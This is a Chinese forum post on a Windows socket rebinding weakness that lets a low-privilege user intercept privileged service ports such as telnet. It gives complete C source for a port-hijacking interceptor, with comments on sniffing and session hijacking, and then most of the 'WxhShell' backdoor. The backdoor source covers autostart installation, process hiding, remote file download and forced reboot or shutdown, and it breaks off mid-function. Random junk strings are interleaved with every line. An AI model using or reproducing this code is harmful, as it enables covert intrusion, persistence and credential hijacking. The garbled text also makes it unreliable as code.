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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G .k\N(l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DANndXQLH  
07tSXl5!  
  saddr.sin_family = AF_INET; b_j8g{/9  
t+Rt*yjO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZpQ8KY$ 5  
/A~+32 B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n"c3C)  
&26H   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I &I q  
AT]Ty  
  这意味着什么?意味着可以进行如下的攻击: JPfE`NZ  
9J'3b <  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h9L/.>CX  
>n^[-SWJCT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >On"BP# U  
&24z`ZS[w6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h9 &V   
nH^RQ'19  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v"a.%" oN8  
O:3DIT1#>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 i(@<KH  
bZsg7[: C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3teanU`  
f.SmCgG  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 z ''-AH,  
SR\F2@u  
  #include <E.$4/T  
  #include {Lm%zdk*k  
  #include ;NzS;C'  
  #include    Nt#a_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lKF<]25  
  int main() l]o)KM<  
  { 6 C|]Fm  
  WORD wVersionRequested; 'uOzC"_yF  
  DWORD ret; iNAaTU  
  WSADATA wsaData; z7P] g C$\  
  BOOL val; =q-HR+  
  SOCKADDR_IN saddr; ^U4|TR6mub  
  SOCKADDR_IN scaddr; Z6vm!#\  
  int err; h8lI# Gs  
  SOCKET s; pe1_E KU  
  SOCKET sc; rv?d3QqIC  
  int caddsize; ~NtAr1  
  HANDLE mt; qxe%RYdA'j  
  DWORD tid;   8^Ov.$rP  
  wVersionRequested = MAKEWORD( 2, 2 ); j,/t<@S>  
  err = WSAStartup( wVersionRequested, &wsaData ); L7lRh=D  
  if ( err != 0 ) { E[RLBO[*n  
  printf("error!WSAStartup failed!\n"); a \PvRW*I  
  return -1; M:Aik&  
  } E5b JIC(  
  saddr.sin_family = AF_INET; p-t*?p C  
   Ma`Goi\vFk  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?hQ,'M2  
rX<gcntv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1"82JN|!  
  saddr.sin_port = htons(23); M%NapK  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GI:$(<  
  { *jF VYg  
  printf("error!socket failed!\n"); 9w! G  
  return -1; eL+L {Ac  
  } 8?7gyp!k_f  
  val = TRUE; :>t? ^r(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 GCgpe(cQ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G$D6#/rR  
  { S3k>34_%9  
  printf("error!setsockopt failed!\n"); hsUP5_  
  return -1; E0i_sB~T  
  } CF`fn6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tyLR_@i%%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 MXxE)"G*a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P00pSRQHD  
K{&b "Ba1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Nh[{B{k  
  { ]3E':JM@  
  ret=GetLastError(); ;#$zHR  
  printf("error!bind failed!\n"); 9$xEktfV  
  return -1; plY`lqm  
  } > HL8hN'q'  
  listen(s,2); =/Dp*  
  while(1) U&|$B|[  
  { PUN.nt  
  caddsize = sizeof(scaddr); D=fB&7%@  
  //接受连接请求 (qP !x 2j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0P_Y6w+  
  if(sc!=INVALID_SOCKET) nAp7X-t  
  { 4D/mm(2d$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N3};M~\  
  if(mt==NULL) Mlpq2I_x  
  { 2rw<]Ce  
  printf("Thread Creat Failed!\n"); Wsr #YNhx|  
  break; "Jp6EL%  
  } pP'-}%  
  } z^f-MgWG  
  CloseHandle(mt); DT=!  
  } YJ5;a\QxN  
  closesocket(s); a`w)awb  
  WSACleanup(); Kup-O u,  
  return 0; >Q~"/-bN)  
  }   !HXdUAKu  
  DWORD WINAPI ClientThread(LPVOID lpParam) +M\*C#  
  { L#e|t0'#  
  SOCKET ss = (SOCKET)lpParam; BX),U  
  SOCKET sc; tc{23Rf%  
  unsigned char buf[4096]; Mdh(Mp(w  
  SOCKADDR_IN saddr; _OF 8D  
  long num; (WW,]#^  
  DWORD val; "gCSbMq(Vq  
  DWORD ret; _W: S>ij(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 TBQ`:`g^m  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    \~  
  saddr.sin_family = AF_INET; RU `TzD  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); b>%I=H%g  
  saddr.sin_port = htons(23); ^3`98y.Q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `.dTkL  
  { ^}8_tZs8\  
  printf("error!socket failed!\n"); p;n)YY$  
  return -1; U6=m4]~Z  
  } e<^tY0rR&  
  val = 100; 0nAeeVz|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,>(M5\Z/c  
  { 1ezQzc2-R  
  ret = GetLastError(); [,5clR=F  
  return -1; -X4`,0y%{O  
  } r _r$nl  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #k=!>%+E  
  { ej<z]{`05  
  ret = GetLastError(); ,ASY &J5)7  
  return -1; =]E1T8|  
  } cQPH le2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]dDyz[NuvD  
  { ,)L.^<  
  printf("error!socket connect failed!\n"); CWkm\=  
  closesocket(sc); j )F~C8*  
  closesocket(ss); %h%r6EB1F  
  return -1; PJ Air8  
  } }qz58]fyx  
  while(1) rI]:| k  
  { `T9<}&=!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,75,~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ijhMJ?3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L761m7J]B  
  num = recv(ss,buf,4096,0); lQ+-g#`  
  if(num>0) C-6+ZIk4  
  send(sc,buf,num,0); 9 I RE@c  
  else if(num==0) #8/Z)-G  
  break; dy`~%lX?  
  num = recv(sc,buf,4096,0); 1xtbhk]D  
  if(num>0) g dC=SFb b  
  send(ss,buf,num,0); )QZ?Bf  
  else if(num==0) 6ldDt?iSg  
  break; C1G Wi4)  
  } SwP h-6  
  closesocket(ss); y6j TT%  
  closesocket(sc); %n}]$ d  
  return 0 ; M(3E b;`   
  } R1q04Zj{2  
gieX`}  
WJ9u 3+  
========================================================== hrAI@.Bo  
R a*9d]N@  
下边附上一个代码,,WXhSHELL BLJ-' 8G  
"J{,P9P6  
========================================================== rWvJ{-%  
Tf0#+6 1>  
#include "stdafx.h" L7xTAFe  
x`eYCi  
#include <stdio.h> Ta[}k/zW  
#include <string.h> @/7Rp8Fr  
#include <windows.h> "{0kg'fU  
#include <winsock2.h> 3 S5QqAm  
#include <winsvc.h> /r?X33D!  
#include <urlmon.h> =C:0 ='a  
R\+$^G}#6  
#pragma comment (lib, "Ws2_32.lib") q{_buTARq  
#pragma comment (lib, "urlmon.lib") /cjf 1Dc  
H+0 *  
#define MAX_USER   100 // 最大客户端连接数 Aqm0|GlJ  
#define BUF_SOCK   200 // sock buffer a,tP.Xsl  
#define KEY_BUFF   255 // 输入 buffer j/Kw-h ,5"  
be@MQ}6>  
#define REBOOT     0   // 重启 uuC/F_='B  
#define SHUTDOWN   1   // 关机 {jq-dL  
n+i}>3'A  
#define DEF_PORT   5000 // 监听端口 H5aUZ=  
_88~uYG  
#define REG_LEN     16   // 注册表键长度 A=3 U4L  
#define SVC_LEN     80   // NT服务名长度 @LmUCP~  
QTyl=z7  
// 从dll定义API  :D/R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #e0+;kBh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jf2E{48P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3~S~)quwP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Yp;x  
"{:*fI;!  
// wxhshell配置信息 _6[NYv$"  
struct WSCFG { ~gAx  
  int ws_port;         // 监听端口 }z*p2)v`  
  char ws_passstr[REG_LEN]; // 口令 R`<E3J\*  
  int ws_autoins;       // 安装标记, 1=yes 0=no [lJ[kr*7  
  char ws_regname[REG_LEN]; // 注册表键名 z DK+8  
  char ws_svcname[REG_LEN]; // 服务名 bIhL!Ty T.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3whyIXs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FPMW"~v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ar$LA"vu4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P"#^i<ut@T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Av[jFk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C^~iz in  
':[y]ep(~|  
}; ](ninSX1w  
X3>(K1  
// default Wxhshell configuration bC{~/ JP  
struct WSCFG wscfg={DEF_PORT, ?:2Xh/8-  
    "xuhuanlingzhe", cP Y^Bf5)  
    1, v ;A  
    "Wxhshell", f ;Dz(~ hw  
    "Wxhshell", ["7}u^z@<+  
            "WxhShell Service", <*\J 6:^n  
    "Wrsky Windows CmdShell Service", _\<M58/z  
    "Please Input Your Password: ", +l#2u#e  
  1, &V ;a:  
  "http://www.wrsky.com/wxhshell.exe", .6hH}BM  
  "Wxhshell.exe" Mu%'cwp$  
    }; 8BN'fWl&E  
&d2/F i+  
// 消息定义模块 -Z@ p   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O| 2Q- @D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _Dv^~e1c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ppYz~ {"r  
char *msg_ws_ext="\n\rExit."; 83 n: h08  
char *msg_ws_end="\n\rQuit."; N$+"zJmw&  
char *msg_ws_boot="\n\rReboot..."; ;CrA  
char *msg_ws_poff="\n\rShutdown..."; A4^+p0@  
char *msg_ws_down="\n\rSave to "; 68SM br  
'ZDclz9}  
char *msg_ws_err="\n\rErr!"; _`\INZe-G  
char *msg_ws_ok="\n\rOK!"; tEUmED0FY  
VuY.})+J:  
char ExeFile[MAX_PATH]; qRFN@ID$  
int nUser = 0; ev3x*}d0  
HANDLE handles[MAX_USER]; wfdFGoy(  
int OsIsNt; 3,[2-obmi  
pA2U+Q@  
SERVICE_STATUS       serviceStatus; \z{Y(dS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |bk*Lgkzw  
,y>Na{@Y  
// 函数声明 @K/I a!Lw  
int Install(void); @.{  
int Uninstall(void); j.6kjQN  
int DownloadFile(char *sURL, SOCKET wsh); 2*|]#W  
int Boot(int flag); UdGoPzN  
void HideProc(void); gr;M  
int GetOsVer(void); NR*SEbUU*  
int Wxhshell(SOCKET wsl); 7I|%GA_  
void TalkWithClient(void *cs); gU?)  
int CmdShell(SOCKET sock); *t_&im%E  
int StartFromService(void); 0D'Wr(U(  
int StartWxhshell(LPSTR lpCmdLine); TU/J]'))C  
aPC!M4#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Vo%d;>!G\;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H@zk8]_P  
_x!pM j(A  
// 数据结构和表定义 9ZBF1sMg  
SERVICE_TABLE_ENTRY DispatchTable[] = [a3 0iE  
{ "jHN#}  
{wscfg.ws_svcname, NTServiceMain}, CytpL`&^]  
{NULL, NULL} pR"qPSv'  
}; "|.(yN  
Bag#An1  
// 自我安装 Trrh`@R  
int Install(void) gy{a+Wbc*  
{ @I&"P:E0F;  
  char svExeFile[MAX_PATH]; xeI{i{8  
  HKEY key; "YL-!P  
  strcpy(svExeFile,ExeFile); -)oBh  
a5-\=0L~  
// 如果是win9x系统,修改注册表设为自启动 '!R,)5l0h  
if(!OsIsNt) { T?Y\~.+99  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _#C}hwOR>X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U]|q4!WE  
  RegCloseKey(key); IfcFlXmt2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {#,FlR2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +2SX4Kxu  
  RegCloseKey(key); Iqsk\2W]a3  
  return 0; `y`xk<q  
    } L?0l1P  
  } F(<8:`N;G  
} />C~a]}  
else { +!v RU`  
M2}<gRL*}J  
// 如果是NT以上系统,安装为系统服务 ZhsZy wM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "b 0cj  
if (schSCManager!=0) h 6*`V  
{ U3}R^W~eb  
  SC_HANDLE schService = CreateService _ ^{Ep/ME=  
  ( f[b YjIX  
  schSCManager, T Rw6$CR  
  wscfg.ws_svcname, 6<Z: Xw  
  wscfg.ws_svcdisp, spJ(1F{|V  
  SERVICE_ALL_ACCESS, c*dww  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?^~"x.<nr  
  SERVICE_AUTO_START, &r%*_pX  
  SERVICE_ERROR_NORMAL, B5:g{,C  
  svExeFile, c~xo@[NaS  
  NULL, !9, pX  
  NULL, $VWzv4^:  
  NULL, 91H0mP>ki  
  NULL, l,.?-|Poa  
  NULL h '[vB^  
  ); ]ufW61W6Ci  
  if (schService!=0) PQ}%}S7:  
  { |8 bO5l:  
  CloseServiceHandle(schService); FRFAWK<  
  CloseServiceHandle(schSCManager); au|^V^m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9Yyg}l:  
  strcat(svExeFile,wscfg.ws_svcname); Nb~dw;t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zXZ'nJ5OGG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N}fUBX4k  
  RegCloseKey(key); N-`;\  
  return 0; 1>w^ q`P  
    } 6;cY!  
  } Da [C'm=  
  CloseServiceHandle(schSCManager); N@6OQ:,[F  
} Z=@)  
} 6 ]Oxx{|}  
0j(jJAE.  
return 1; B#"|5  
} SDHc[66'  
nKB&|!  
// 自我卸载 t i^v%+r1  
int Uninstall(void) ( 'n8=J  
{ E[.tQ|C  
  HKEY key; _I_?k+#WFe  
1~DD9z  
if(!OsIsNt) { 1G%PXrEj8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l&*)r;9  
  RegDeleteValue(key,wscfg.ws_regname); vt@Us\fI  
  RegCloseKey(key); lt6;*z[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uxyTu2L7  
  RegDeleteValue(key,wscfg.ws_regname); H'{?aaK|t  
  RegCloseKey(key);  }m%?&c  
  return 0; `QdQ?9x{F  
  } rAWl0y_m  
} +RV-VrV  
} xwnoZ&h  
else { :KSor}t  
JhCkkw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t-i6FS-  
if (schSCManager!=0) +xfW`[.{  
{ l(,;wAH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;{f??G  
  if (schService!=0) ZuvPDW%  
  { EB5_;  
  if(DeleteService(schService)!=0) { Hpi%9SAM  
  CloseServiceHandle(schService); ny(GTKoUz  
  CloseServiceHandle(schSCManager); eQFb$C]R}y  
  return 0; yv)nW::D(  
  } ^mueFw}\  
  CloseServiceHandle(schService); ;Q=GJ5`B  
  } PKR $I  
  CloseServiceHandle(schSCManager); }l( m5  
} i9eyrl+!  
} s S5fd)x  
yd ND$@; Z  
return 1; HNy/ -  
} z8/xGQn  
pp]_/46nN  
// 从指定url下载文件 <*"pra{3  
int DownloadFile(char *sURL, SOCKET wsh) OR\DTLIl  
{ pEVgJ/>  
  HRESULT hr; #[a"%byTR  
char seps[]= "/"; ) wY!/&  
char *token; g&+Y{*Gp  
char *file; 6f?BltFaN  
char myURL[MAX_PATH]; 7q!yCU  
char myFILE[MAX_PATH]; tB7K&ssi  
n2d8;B#  
strcpy(myURL,sURL); BKQIo)g.G  
  token=strtok(myURL,seps); /Y[o=Uyl  
  while(token!=NULL) -nk#d%a\  
  { TcD[Teu  
    file=token; (+UmUx=  
  token=strtok(NULL,seps); LR3`=Z9  
  } ~#"7,rQp  
)ojx_3j8  
GetCurrentDirectory(MAX_PATH,myFILE); v0`qMBr1y  
strcat(myFILE, "\\"); h zZ-$IX X  
strcat(myFILE, file); cc41b*ci$  
  send(wsh,myFILE,strlen(myFILE),0); R6q4 ["  
send(wsh,"...",3,0); z0 2}&^Zzk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /&$"}Z6z  
  if(hr==S_OK) TTZ['HP oI  
return 0; 1a&/Zlr  
else t0e{| du  
return 1; M_h8#7{G  
U.RW4df%E  
} lMBX!9z  
\ I^nx+l  
// 系统电源模块 -4e) N*VVu  
int Boot(int flag) 9K;k%  
{ 4r1<,{gCS  
  HANDLE hToken; NTm<6Is`  
  TOKEN_PRIVILEGES tkp; >; &s['H  
PNbcy!\U  
  if(OsIsNt) { #9D/jYK1X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); . QXG"R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); > 'aG /(  
    tkp.PrivilegeCount = 1; d $fvg8^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X<~k =qwA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7-".!M  
if(flag==REBOOT) { 6[*;M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4[TS4p  
  return 0; VyecTU"W  
} C5es2!^-]O  
else { K/vxzHSl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 894r;UA7  
  return 0; q Vm"f,ruo  
} 4D^ M<Xn  
  } W?qpnPW  
  else { x0\e<x9s  
if(flag==REBOOT) { -uA3Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z}8k[*.  
  return 0; 48tcgFg[  
} M*5,O   
else { `]`=]*d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M=5d95*-}  
  return 0; =U4f}W;  
} {ExII<=6  
} h@*lWi2K7  
qDnCn H  
return 1; nnt8 sf@\  
} { p1lae  
v:r D3=M-  
// win9x进程隐藏模块 6exI_3A4jh  
void HideProc(void) YBX)eWslK  
{ +I|Rk&  
dqqnCXYuW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  vv+TKO  
  if ( hKernel != NULL ) F:M>z=  
  { 6xH;: B)d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fy&#M3UA\U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &Nc[$H7<  
    FreeLibrary(hKernel); )@}A r  
  } }m6f^fs}  
?gLR<d_  
return; [IiwNqZ[~  
} ,YjxC p3  
9s! 2 wwh  
// 获取操作系统版本 /~40rXH2C  
int GetOsVer(void) Hm>-LOCcl  
{ 7\mDBG  
  OSVERSIONINFO winfo; :?HSZocf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r5o@+"!  
  GetVersionEx(&winfo); Iq{o-nq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,-@xq.D  
  return 1; 807al^s x  
  else 0 _Q * E3  
  return 0; JXH",""bq  
} glv ;C/l  
r0>q%eM8  
// 客户端句柄模块 'gCJ[ce  
int Wxhshell(SOCKET wsl) gs?8Wzh90*  
{ >Q; g0\I_  
  SOCKET wsh; O?CdAnhQc`  
  struct sockaddr_in client; R"@7m!IA  
  DWORD myID; E W`W~h[  
jDR')ascn  
  while(nUser<MAX_USER) FJ{=2]x|  
{ d$w(-tV42  
  int nSize=sizeof(client); ~i% -WX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1\/{#c  
  if(wsh==INVALID_SOCKET) return 1; 9I85EcT^4"  
ton1oq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %NNj9Bl<VV  
if(handles[nUser]==0) DKX/W+#a  
  closesocket(wsh); W3)\co  
else IXnb]q.  
  nUser++; TN5>"? ?"  
  } oz LH]*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eNtf#Rqym  
]DO&x+Rb  
  return 0; e,(a6X  
} t<Ot|Ex  
xk& NAB  
// 关闭 socket )i;un.  
void CloseIt(SOCKET wsh) _6ZzuVv3/  
{ +p9- .YM  
closesocket(wsh); .46#`4av  
nUser--; vv+km+  
ExitThread(0); }MP>]8Aq  
} P>(&glr|  
_BbvhWN&+  
// 客户端请求句柄 n+2%tW  
void TalkWithClient(void *cs) vDsF-u1  
{ C8ZL*9U  
P1MvtI4gm  
  SOCKET wsh=(SOCKET)cs; I7~|~<  
  char pwd[SVC_LEN]; vB.l0!c\e_  
  char cmd[KEY_BUFF]; [@//#}5v  
char chr[1]; msiu8E  
int i,j; !}_b|  
EkjgNEXq  
  while (nUser < MAX_USER) { z`4c 4h]I  
RND9D\7  
if(wscfg.ws_passstr) { V^WU8x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q=WySIF.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lCR!:~  
  //ZeroMemory(pwd,KEY_BUFF); nob0T5G  
      i=0; M ,`w A  
  while(i<SVC_LEN) { zEj#arSE4  
5MR,UgT  
  // 设置超时 qw<HY$3=  
  fd_set FdRead; /& r|ec5  
  struct timeval TimeOut; TN\|fzj  
  FD_ZERO(&FdRead); *$S#o#5  
  FD_SET(wsh,&FdRead); ^*0'\/N&  
  TimeOut.tv_sec=8; d`mD!)j  
  TimeOut.tv_usec=0; 96c?3ya  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {L].T#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BgM%+b8u  
-}P7$|O &  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &n:{x}Uc  
  pwd=chr[0]; 3@_Elu  
  if(chr[0]==0xd || chr[0]==0xa) { zyFUl%  
  pwd=0; L0L2Ns  
  break; M/pMs 6  
  } 0mTr-`s  
  i++; xR?V,uV'$&  
    } ]n;1x1'  
&l m#  
  // 如果是非法用户,关闭 socket )"| ||\Iv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2 o4^  
} "u492^  
!X]8dyW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1y(UgEg   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \F{:5,Du)  
:5b0np!  
while(1) { ~E)fpGJ  
WF[bO7:  
  ZeroMemory(cmd,KEY_BUFF); F'FP0t!S  
2:SO_O4C  
      // 自动支持客户端 telnet标准   v+xB7w  
  j=0; '#.#$8l  
  while(j<KEY_BUFF) { "g0(I8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0 ipN8Pg+  
  cmd[j]=chr[0]; Hr^3`@}#1  
  if(chr[0]==0xa || chr[0]==0xd) { g9~]s 9  
  cmd[j]=0; 0^3+P%(o@  
  break; \~~}N4  
  } sILSey5`  
  j++; 02=lsV!U  
    } S\*`lJzPM  
E=$p^s  
  // 下载文件 2YlH}fnH  
  if(strstr(cmd,"http://")) { j.%K_h?V5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H C0w;MG)  
  if(DownloadFile(cmd,wsh)) ?6"{!s{v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %\Wf^6Y^  
  else -oP'4QVb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q%i-`S]}qL  
  } cBXWfv4  
  else { G8J*Wnwu[K  
[0y$! f4  
    switch(cmd[0]) { E\U`2{^.  
  2oCkG~j  
  // 帮助 _zMgoc7  
  case '?': { =Vw 5q},3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m@Rtlb  
    break; y7)(LQRE {  
  } ]uQqn]+I!  
  // 安装 mJ}opy!{;  
  case 'i': { A/}W&bnluD  
    if(Install()) yZ kyC'/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S/tIwG ~e3  
    else Ig6T g ?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :j^FJ@2_  
    break; x@KZ ]  
    } S DLvi!y  
  // 卸载 B9,^mE#  
  case 'r': { \tN-(=T  
    if(Uninstall()) E3aDDFDH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &ldBv_  
    else 8|%^3O 0X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8}s.Fg@tE  
    break; Qf$|_&|  
    } x@Hd^xH`  
  // 显示 wxhshell 所在路径 .2) =vf'd  
  case 'p': { 04U")-\O  
    char svExeFile[MAX_PATH]; N<(.%<!  
    strcpy(svExeFile,"\n\r"); tjT>VwqH  
      strcat(svExeFile,ExeFile); /Q{P3:k  
        send(wsh,svExeFile,strlen(svExeFile),0);  ._O  
    break; ACq7dLys,B  
    } p< "3&HA  
  // 重启 eKvV*[N a  
  case 'b': { cLVeT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :'iYxhM.V  
    if(Boot(REBOOT)) =#gEB#$x:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wU\s; dK  
    else { 4m)OR  
    closesocket(wsh); jPZaD>!  
    ExitThread(0); ~m^ #FJu  
    } Xx:F)A8O  
    break; uocHa5J  
    } ~{,X3-S_H  
  // 关机 6/V3.UP-  
  case 'd': { y: m_tv0~0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &0zT I?c  
